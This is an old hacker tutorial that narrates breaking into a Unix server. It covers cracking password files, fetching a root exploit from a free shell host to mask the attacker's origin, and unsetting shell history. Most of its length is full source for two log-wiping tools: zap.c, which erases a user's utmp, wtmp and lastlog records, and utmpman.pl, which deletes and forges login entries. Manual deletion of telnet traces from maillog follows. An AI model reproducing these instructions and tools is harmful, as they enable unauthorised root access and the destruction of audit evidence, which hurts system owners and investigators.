="A WALK IN THE PARK" =
= = = = = = = = = = = =
= Written by:Ulyss3s =
= = = = = = = = = = = =
Disclaimer:
I do not encourage any kind of illegal activities!
This text and\or anything in this document was made for educational purposes only!
I am not responsable for anything that is done with this information!
======================================================================
In this material we'll shape a scenario about breaking into a computer system somewhere on the Internet.Any similarity to a certain situation is pure fiction.
======================================================================
In order to break a security system, one has to use a certain intrussion method. Usually the atacks are not very "high-tech" due to the fact that the ruined systems are mis-configured or unpatched.
Here is a list of common system intrusion methods:
# Default accounts/Null passwords
# Username/Password same
# rsh or poor authentication mechanism
# rlogin
# Anonymous FTP mis-configured
# Finger
# WWW Server
# SMTP
# Samba
# Password Sniffing (the most powerful one!)
However if someone grabs the password file stored on a system his mission is as easy as 1, 2, 3...
All he/she has to do is to run a program like CrackerJack or better, John The Ripper for this password file and the rest is piece of cake.If the passwords aren't too hard to be cracked, then the dictionary the two programs mentioned above are distributed with, should be enough. Otherwise you may find word lists for the dictionary at http://www.hackersclub.com
A common password file from a unix/linux OS looks like this:
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
What's that all about?In case you didn't know here is the explaination:
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=username 2=encrypted password 3=user number 4=groop id 5=real name
6=home directory 7=shell
A hacker will always want to obtain the ROOT shell.This means having master priviledges over that particular system.
Nowadays passwd files aren't enough for hackers.The passwords are shadowed and the encripted ones are stored in another file called the Shadow file. It is stored in /etc/shadow on unix systems.
So, after you <cracked> the password file you should have at least one account on the target system. This should be enough in order to hack for real the entire system. A hacker's life is easy thanks to the many exploits found by dedicated programmers.Exploits are programs written usually in C or Sh ( Shell programming) that <exploit> bugs in the security. A good advice is that exploits should be used ONLY to get the root accounts, otherwise smart administrators may notice your presence. There are all kind of bugs in all systems: it might be a game installed on the system, or even the sendmail program.
So the only thing you should have is one account on a machine and you can bet sooner or later that machine will be compromised.
Exploits are compiled and then executed.
The compiling command is:
$ cc -o program program.c
or
$gcc program.c -o program
The executing command is
$program
or better
$ ./program
For a Shell program the execution command is
$ sh program.sh
In the following session example I suppose that you have got somehow an account on a server.
For login you should use either a SSH clinet (Secure Shell that sends the information encripted) or Telnet.We'll use telnet.
Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net.
You can use telnet if you know the IP address or the host name you want to connect or login to.
It looks like this:
Telnet target.com or telnet 206.146.43.56
Trying .....
Connected to target.com
Red Hat 2.1
Kernel 1.2.13 on a i586
(target.com) (ttyp0)
login:username
password:*******
bash$
The last thing is your prompt. It may look different but usually it's the same thing. However if you have a # prompt then, guess what...you may forget about hacking because you are ROOT.
First we make sure we leave no traces in the shell, unsetting the .bash_history file
bash$ unset HISTFILE
bash$
Ok, that's done.Next we'll see what kind of OS is installed on the system.In our case there is no need to do that because at the login prompt we notice RedHat 2.1 That is beautifull because Linux is almost 99% vulnerable.However if there is no clue to the OS at the login prompt then after login we type:
bash$ uname -a
This should show us the OS. Now that you found out the OS running on the server, search for the right exploit at the following URL's:
http://hack.co.za
http://www.rootshell.com
http://www.packetstorm.securify.com
You should find the latest exploits available for any kind of OS.
Download the exploit, transfer it via FTP to a free shell(e.g. at nether.net or hobbiton.org) because if your presence will be noticed somehow the only traces that will appear are from the free shell not from your real host.Also find programs like Zap and Utmpman which help you cleaning your tracks.Then from the account on the target.com machine do the following:
bash$ ftp
ftp>open nether.net(or hobbiton.org)
Connected to nether.net
Welcome to nether.net!
Login:username
Password:******
User X logged in.
X>mget exploit.c (or exploit.sh) zap.c utmpman.pl
230 command successful
some text here
Transfer complete.
X>close
Goodbye.
ftp>bye
bash$
Now you have transfered the exploit on target.com machine.Let's see...
bash$ ls -al
total 794
drwxrwxrwt 4 root root 8192 Jan 25 23:05 .
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
-rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
-rwxr-xr-x 2 berry users 1024 Jan 25 23:05 exploit.c(or sh)
-rwxr-xr-x 2 berry users 1024 Jan 25 23:05 zap.c
-rwxr-xr-x 2 berry users 1024 Jan 25 23:06 utmpman.pl
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
Ok, exploit.c is there.Let's compile it.
bash$ gcc exploit.c -o exploit
This would give me a file that would exe, called exploit.
Now, finally some real action: hacking the root account.
bash$ ./exploit
or
bash$ sh exploit.sh
Suidperl 5.00503 (and newer) root exploit
written by:author
Checks passed, compiling flares and helper applications...
Setting up environment...
Starting exploit. It could take up to 5 minutes in order to get
working root shell. WARNING - WARNING - WARNING: it could cause
heavy system load.
VOILA, BABE :-) Entering rootshell...
(Whatever...this text could be anything )
The prompt should now look like the following:
target#
Let's see what does this mean...
target# whoami
root
You are root indeed.That was easy, believe me.The hard part just starts:cleaning your tracks.The whole point of this hacking stuff is that you continue to have access to as many points of information as possible. If you do stupid things, or fail just once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
system. Make yourself a regular order to follow and learn each system well!
Let's see who is logged on the system
target#w
5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00
User tty login@ idle JCPU PCPU what
root ttyp1 5:35am w
Well, it seems we have to make ourselves invisible...
target# gcc zap.c -o zap
target# zap your_username_here
Zap!
target#w
5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01
User tty login@ idle JCPU PCPU what
Can you see the root login now? You bet you can't!
Here is the source-code for zap.c
z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- cut here
Another great program for cleaning utmp, wtmp, and checking processes is utmpman.pl
It will also let you insert lines in wtmp. So if you need to play you
can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed on the system for a few hours!
You must be root to run the script, and they need perl 5.003+ on thier system. After starting the script just type help.
Here are some of the basic commands:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
do help for the rest ... the best utmp,wtmp editor around!
-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems.
# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();
# Display banner.
print "\nutmp Manager v0.8\n\n";
# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
# Read in valid shells.
if (defined($shells_location)) {
open(SHELLFILE, "<$shells_location");
@shells = <SHELLFILE>;
close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while (<STDIN>) {
process_cmd(split);
print("\nutmpman: $active_file> ");
}
sub process_cmd {
return if (!defined(@_));
my(@line) = map { lc($_) } @_;
$_ = shift(@line);
SWITCH: {
/^check$/ && do {
check_func(@line);
last SWITCH;
};
/^delete$/ && do {
del_func(@line);
last SWITCH;
};
/^help$/ && do {
help_func();
last SWITCH;
};
/^insert$/ && do {
ins_func(@line);
last SWITCH;
};
/^list$/ && do {
list_func(@line);
last SWITCH;
};
/^read$/ && do {
read_func(@line);
last SWITCH;
};
/^write$/ && do {
write_func(@line);
last SWITCH;
};
/^quit|exit$/ && exit(0);
# DEFAULT.
print ("Invalid command.\n");
}
}
# HELP
sub help_func {
print << "EOM";
utmpManager Help
----------------
Note: - <n> is an argument.
- [id=] is a token which expects a value as part of command
(ie, insert id=p5 user=root 11/23/96). See the insert command.
- A line is the full name to the tty port, ie ttyp0.
- An id is the *unique* representation of the port
(without the tty, etc), ie "p0" (for ttyp0).
check
- Perform user consistancy check. Use this to make sure that the data in
utmp agrees with who is actually on the machine. This is useful in
determining if a user is online with hidden ports, running nohup'd
processes, or running iScreen.
delete <x>-<y>
- Delete entries #x to #y.
delete host <host>
- Delete *all* entries which match the substring <host>.
delete line|id <line|id>
- Delete entry containing <line> or <id>.
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- Insert an entry into utmp/wtmp files specifying any combination
of id/line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.)
list host <host>
- List all entries matching the substring <host>.
list line|id <line|id>
- List all entries matching <line> or <id>.
read utmp|wtmp|<filename>
- Read entries from either default wtmp, default utmp, or an arbitrary
filename. Note: arbitrary filenames MUST start with either "utmp" or
"wtmp" to be used with this editor. Rename files *outside* of this
editor if necessary. If read is executed without any arguments, it
rereads the last given filename, which is displayed on the prompt.
write {filename}
- Write entries to file {filename}. If write is executed without any
arguments, then entries will be written to the last given filename,
which is displayed on the prompt.
EOM
}
# DELETE
sub del_func {
my(@params) = @_;
if (!push(@_)) {
print("delete :: Not enough parameters. See \"help\" for syntax.\n");
return undef;
} elsif ($params[0] =~ /host|user|id|line/) {
del_by_data(@_);
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
del_by_range($params[0]);
} elsif ($params[0] =~ m/^(\d+)$/) {
del_by_range("$1-$1");
}
# Renumber list after delete operation.
resync();
}
sub del_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi, $count)=($1, $2, 0);
$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}
sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))||
((length($data) > 11) && ($op eq "line"))) {
print "Invalid $op specified.\n";
return undef;
}
# Note: If we are deleting by user, then user must match, *exactly*!
$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
foreach (sort( { $a <=> $b } keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
delete($entries{$_});
++$count;
}
}
if (!$count) {
print "No $op entries matching $data.\n";
} else {
print "$count entries deleted.\n";
}
}
# INSERT
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=<username>
# host=<hostname>
# id=<id> | line=<line>
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
sub ins_func {
my(%cmdopt)={};
my($datetime1, $datetime2, $gmdate, $gmdate2);
# Get random pid out of the way.
$cmdopt{"pid"} = int(rand(32656)+100);
$cmdopt{"addr"} = pack("a4", "");
# Get command options.
foreach (@_) {
if (/=/) {
local($key, $value)=split(/=/);
$cmdopt{$key} = $value;
} else {
if (!defined($datetime1)) {
$datetime1 = $_;
next;
}
if (!defined($datetime2)) {
$datetime2 = $_ ;
next;
}
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys(%cmdopt)) {
if (!(/^host|id|line|type|user|addr$/)) {
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
print "insert :: LAST option only valid for utmp files.\n";
return undef;
}
}
# Get date in seconds since 1970.
$gmdate = SecsSince1970($datetime1);
# Get ending date in seconds since 1970.
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
print "insert :: Invalid date specified.\n";
return undef;
}
if (defined($gmdate2)) {
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time.\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
return undef;
}
my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) {
if ($active_file =~ m!/*utmp[^/]*$!i) {
# Handle utmp insertion by line insertion.
if (%{$entries{$_}}->{$op} eq $searchdata) {
printf ("insert :: $op $searchdata already exists at position $_\n");
# This needs to check every option in %cmdopt for defined or null.
$count = 0;
foreach (qw(user host time)) {
if (defined($cmdopt{$_})) {
$count++ if ($cmdopt{$_} ne "");
}
}
if (!$count) {
printf ("insert :: No other data specified. Entry unchanged.\n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$epos1 = $oldpos if (defined($npos1) && !defined($epos1));
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
last if (!defined($gmdate2) && defined($epos1));
$epos2 = $oldpos if (defined($npos2));
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
last if (defined($epos2));
}
$oldpos = $_;
}
# Set any unspecified defaults.
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
# Determine end of list insertion positions. (IE, dates entered are after
# dates in wtmp file or line/id not found in utmp file.
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
if (defined($datetime2)) {
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
++$epos2 if (defined($gmtime2) && !defined($npos1));
}
# Parse insert data and insert entry.
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
if (defined($npos2) && defined($gmdate2));
# Insert first entry.
$cmdopt{"time"} = $gmdate;
@{$entries{$epos1}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
if (defined($epos2)) {
$cmdopt{"user"} = pack("a8", "");
$cmdopt{"host"} = pack("a16","");
$cmdopt{"id"} = pack("a4", "");
$cmdopt{"time"} = $gmdate2;
@{$entries{$epos2}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
}
resync();
}
# LIST
sub list_func {
my(@params) = @_;
if (!push(@_) || ($params[0] eq "all")) {
list_by_range("-");
return 0;
} elsif ($params[0] =~ /^host|user|id|line$/) {
list_by_data(@_);
return 0;
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
list_by_range($params[0]);
return 0;
} elsif ($params[0] =~ m/^(\d+)$/) {
list_by_range("$1-$1");
return 0;
}
print ("list :: Error in parameters. See \"help\" for syntax.\n");
return undef;
}
sub list_by_data {
my($op, $data) = @_;
my($count) = 0;
foreach (sort( {$a <=> $b} keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
list_entry($_);
++$count;
}
}
print "No $op entries matching $data.\n" if (!$count);
}
sub list_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi)=($1, $2);
$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}
sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
printf(" %s/%s", @{$entries{$_}}{qw(id line)});
printf(": %s ", %{$entries{$_}}->{"user"})
if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
printf("from %s", %{$entries{$_}}->{"host"})
if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
}
print ("\n");
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}
# <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# <Silmaril> now *that's* cool :-)
# <Silmaril> should be like this: @{$v}{qw(time id line user host)}
# <Silmaril> I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#
# READ
sub read_func {
my($arg)=shift;
$arg = $utmp_location if ($arg eq "utmp");
$arg = $wtmp_location if ($arg eq "wtmp");
$arg = $active_file if (!defined($arg));
if ($arg !~ m!/*[uw]tmp[^/]*$!) {
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
return undef;
}
readfile($arg);
}
# WRITE
sub write_func {
my($file)=shift;
my($count)=0;
$file = $active_file if (!defined($file));
if ($file !~ m!/*[uw]tmp[^/]*$!) {
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
return undef;
}
if (!open(OUTFILE, ">$file")) {
print ("write :: Can't open $file for output.\n");
return undef;
}
binmode(OUTFILE);
foreach (sort( { $a <=> $b } keys(%entries))) {
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
@{$entries{$_}}{qw(type pid line id time user host addr)}));
$count++;
}
print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
close(OUTFILE);
}
# CHECK
sub check_func {
if (push(@_)) {
print "check :: Invalid options specified. Please see \"help\"\n";
return undef;
}
if ($active_file !~ m!/*utmp[^/]*$!) {
print "check :: Command can only be run on utmp files.\n";
return undef;
}
# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may *not* be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
# should return the same as what you expect in "struct utmp->ut_id".
my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
my(%ports) = {};
my($user, $rdev) = ();
opendir(DEVDIR, "/dev");
my(@devfiles) = readdir(DEVDIR);
@devfiles = grep(/$grepstr/, @devfiles);
close(DEVDIR);
foreach (@devfiles) {
/^$ttybase([$ttyrange][$ttyports])$/;
if (!defined($1)) {
print "check :: Warning! Could not extract port ID from $_.\n";
} else {
($user, $rdev) = (stat("/dev/$_"))[4, 6];
$user = getpwuid($user);
$ports{$1} = newport($_, $rdev, $user);
}
}
# Check ownership of /dev ports.
my(@logdev)=();
foreach (sort(keys(%ports))) {
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
}
@logdev = sort(@logdev);
# Check utmp (against ports detected as logged in);
my(@logutmp)=();
foreach (sort( { $a <=> $b } keys(%entries))) {
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
push(@logutmp, %{$entries{$_}}->{"id"})
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
(%{$entries{$_}}->{"pid"} > 0))));
}
}
@logutmp = sort(@logutmp);
# Check PIDs (find processes with active port ids)
opendir(PIDDIR, "/proc");
my(%processes) = {};
my(@portprocesses) = ();
foreach (grep(/\d+/, readdir(PIDDIR))) {
local($procdata, $cmdline);
open(PROCFILE, "</proc/$_/stat");
$procdata = <PROCFILE>;
close(PROCFILE);
if (-e "/proc/$_/stat") {
local($cmdline, $devnum, $portid);
($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
# Remove surrouding () from command name.
$cmd =~ s/[\(\)]//g;
$portid = dev2id(\%ports, $devnum);
if (defined($portid)) {
push(@portprocesses, $portid)
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
}
}
}
close(PIDDIR);
# A port is *not* logged in if there is no dev entry for port, no utmp entry
# and no active processes.
my(@validshellports) = ();
foreach (sort( { $a <=> $b} keys(%processes))) {
push(@validshellports, %{$processes{$_}}->{"port"})
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
}
# Remove ports with valid shells from list of ports with active processes.
my(@noshellports) =
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
@validshellports = sort(@validshellports);
print "Ports with active /dev files: @logdev\n"
if (defined(@logdev));
print "Ports with utmp entries: @logutmp\n"
if (defined(@logutmp));
print "Ports with valid shells: @validshellports\n"
if (defined(@validshellports));
print "Ports with active processes and *no* shells: @noshellports\n"
if (defined(@noshellports));
}
# GENERAL
sub readfile {
local($file);
$file = shift;
my($index)=1;
my($buffer)="";
# Insure we have a clean hash table before we start reading in the file.
foreach (keys(%entries)) {
undef(%{$entries{$_}});
delete(${entries{$_}});
}
open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
close(UTMPFILE);
}
sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;
$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';
@{$newnode}{qw(type pid line id time user host addr)}=
unpack("i L a12 a4 L a8 a16 a4", $newbuff);
return $newnode;
}
sub newport {
$newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';
@{$newnode}{qw(port rdev owner)} = @_;
return $newnode;
}
sub newproc {
$newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';
@{$newnode}{qw(cmd port)} = @_;
return $newnode;
}
# Renumber hashes to default order.
sub resync {
my(%newhash) = ();
my($count)=0;
# Write ordered list in to temporary hash, deleting as we go.
foreach (sort( {$a <=> $b} keys(%entries))) {
$newhash{++$count} = $entries{$_};
delete($entries{$_});
}
# Copy elements back in to original hash table.
foreach (sort( {$a <=> $b} keys(%newhash))) {
$entries{$_} = $newhash{$_};
}
}
sub longtodot4 {
my($addr)=shift;
return join(".", map( ord($_), split(//, $addr)));
}
sub dev2id {
my($portlist, $rdev) = @_;
foreach (sort(keys(%{$portlist}))) {
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
}
return undef;
}
sub listpos {
my($arrayref, $search) = @_;
my($count) = 0;
$^W = 0;
foreach (@{$arrayref}) {
return $count if ($search eq ${$arrayref}[$count]);
$count++;
}
$^W = 1;
return undef;
}
### DATE ROUTINES
# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.
sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
my($datetime) = shift;
my($m,$d,$y,$h,$mn,$s) = ();
# If date is not defined, then return local current date and time.
return time() if (!defined($datetime));
$datetime =~
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
$m--;
# Finalize time components and check them.
$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is such
# an animal, then there is illegal data specified. Also screens for undefined
# components which HAVE to be in ANY valid date/time (ie, month, day, year).
return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));
# Begin conversion to seconds since 1/1/70.
my($sec_now,$sec_70)=();
$sec_now=DaysSince999($m,$d,$y);
return undef if (!defined($sec_now));
$sec_now--;
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
$sec_70 =30610224000;
return ($sec_now-$sec_70);
}
sub DaysSince999 {
my($m,$d,$y)=@_;
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
my($cc,$yy)=();
$y=~ /^(\d{2})(\d{2})$/;
($cc,$yy)=($1,$2);
# Number of full years since Dec 31, 0999
$Ny=$y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$N4=int(($Ny-1)/4)+1;
$N4=0 if ($y==1000);
# Number of full 100th years (incl. 1000)
$N100=$cc-9;
$N100-- if ($yy==0);
# Number of full 400th years
$N400=int(($N100+1)/4);
# Check to insure that information returns a valid day of year.
$dayofyear=dayofyear($m,$d,$y);
return undef if (!defined($dayofyear));
# Compute day of year.
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
return $days;
}
sub dayofyear {
my($m,$d,$y)=@_;
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
my($daynum,$i)=();
$daysinmonth[1]=29 if (!($y % 4));
# Return error if we are given an invalid date.
return undef if ($d > $daysinmonth[$m]);
$daynum=0;
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;
return $daynum;
}
## END DATE ROUTINES.
# End of script.
0;
--------------------- end of utmpman.pl
Ok, let's check the logs...
target# cd /var/log
target# grep host *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from host.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from host.com
The zap did everything except this maillog...
target# pico maillog
In pico editor Ctrl+w in order to search for host then Ctrl+k for deleting those lines.
target# grep host *
Everything in order now....
